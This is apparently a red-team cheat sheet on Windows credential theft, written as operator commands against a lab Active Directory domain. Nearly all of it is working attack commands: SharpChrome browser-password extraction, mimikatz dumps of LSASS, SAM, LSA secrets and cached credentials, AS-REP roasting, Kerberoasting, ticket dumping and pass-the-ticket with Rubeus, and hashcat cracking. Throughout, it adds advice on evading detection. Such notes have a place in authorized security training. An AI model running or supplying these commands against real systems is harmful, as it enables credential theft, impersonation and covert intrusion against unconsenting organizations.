Credentials

---

Browser Credentials

SharpChrome can read and decrypt saved browser credentials. Works from medium-integrity context.

execute-assembly C:\Tools\SharpDPAPI\SharpChrome\bin\Release\SharpChrome.exe logins

---

Windows Credential Manager

Stores credentials for RDP connections, etc. Works from medium-integrity context.

# Enumerate saved credentials
execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe WindowsVault

# Decrypt via DC using DPAPI backup key
execute-assembly C:\Tools\SharpDPAPI\SharpDPAPI\bin\Release\SharpDPAPI.exe credentials /rpc

---

OS Credential Dumping

OPSEC WARNING: Avoid dumping credentials from LSASS. Security drivers use ObRegisterCallbacks to detect handles to LSASS.

Logon Passwords (AVOID)

# DO NOT DO THIS - triggers detections
mimikatz sekurlsa::logonpasswords

Crack NTLM with hashcat mode 1000:

hashcat -a 0 -m 1000 ntlm.hash wordlist.txt -r rules/dive.rule

Kerberos Encryption Keys (AVOID)

# DO NOT DO THIS - triggers detections
mimikatz sekurlsa::ekeys

Note: Mimikatz incorrectly labels hashes as des_cbc_md4. Check length:

• 64 chars = aes256-cts-hmac-sha1-96

• 32 chars = aes128-cts-hmac-sha1-96 or rc4_hmac

Crack AES256 with hashcat mode 28900:

# Format: $krb5db$18$<username>$<DOMAIN-FQDN>$<hash>
hashcat -a 0 -m 28900 aes256.hash wordlist.txt -r rules/dive.rule

SAM Database (SAFE)

Does not touch LSASS - safe to run.

# High integrity (not SYSTEM)
mimikatz !lsadump::sam

# SYSTEM context
mimikatz lsadump::sam

LSA Secrets (SAFE)

Contains service account passwords, machine account password, EFS keys.

# High integrity (not SYSTEM)
mimikatz !lsadump::secrets

# SYSTEM context
mimikatz lsadump::secrets

Cached Domain Credentials

MSCacheV2 hashes - slow to crack.

mimikatz lsadump::cache

---

AS-REP Roasting

OPSEC WARNING: Each AS-REP generates 4768 event. Don't roast the whole domain.

Enumerate Vulnerable Users First

# Find users with pre-auth disabled
ldapsearch (&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304)) --attributes cn,samaccountname,serviceprincipalname

Roast Specific User

# Target specific account only
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asreproast /user:oracle_svc /format:hashcat /nowrap

Crack Hash

hashcat -a 0 -m 18200 asrep.hash wordlist.txt -r rules/dive.rule

---

Kerberoasting

OPSEC WARNING: Don't roast every SPN. Triage targets first.

Enumerate SPNs First

execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe -s "(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))" --attributes cn,samaccountname,serviceprincipalname

Roast Specific SPN

# By SPN
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe kerberoast /spn:MSSQLSvc/ilf-sql-1.inlanefreight.local:1433 /simple /nowrap

# By username
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe kerberoast /user:mssql_svc /format:hashcat /nowrap

Crack Hash

hashcat -a 0 -m 13100 kerb.hash wordlist.txt -r rules/dive.rule

---

Extracting Tickets from Memory

OPSEC SAFE: Uses LSA APIs (LsaCallAuthenticationPackage), doesn't open handle to LSASS.

Requires high-integrity to dump other users' tickets.

Triage Tickets

execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe triage

Look for tickets with krbtgt service - these are TGTs.

Dump Specific Ticket

execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:0x2842e6 /service:krbtgt /nowrap

Impersonate User with Ticket

# Create sacrificial logon session
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\notepad.exe /username:tmorgan /domain:INLANEFREIGHT.LOCAL /password:FakePass

# Inject ticket into session
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe ptt /luid:0x132ef34 /ticket:<base64-ticket>

# Verify
run klist

# Drop impersonation
rev2self

---

Renewing TGTs

TGTs can be renewed every 10 hours until RenewTill date.

Check Ticket Validity

execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe describe /ticket:<base64-ticket>

Renew Ticket

execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe renew /ticket:<base64-ticket> /nowrap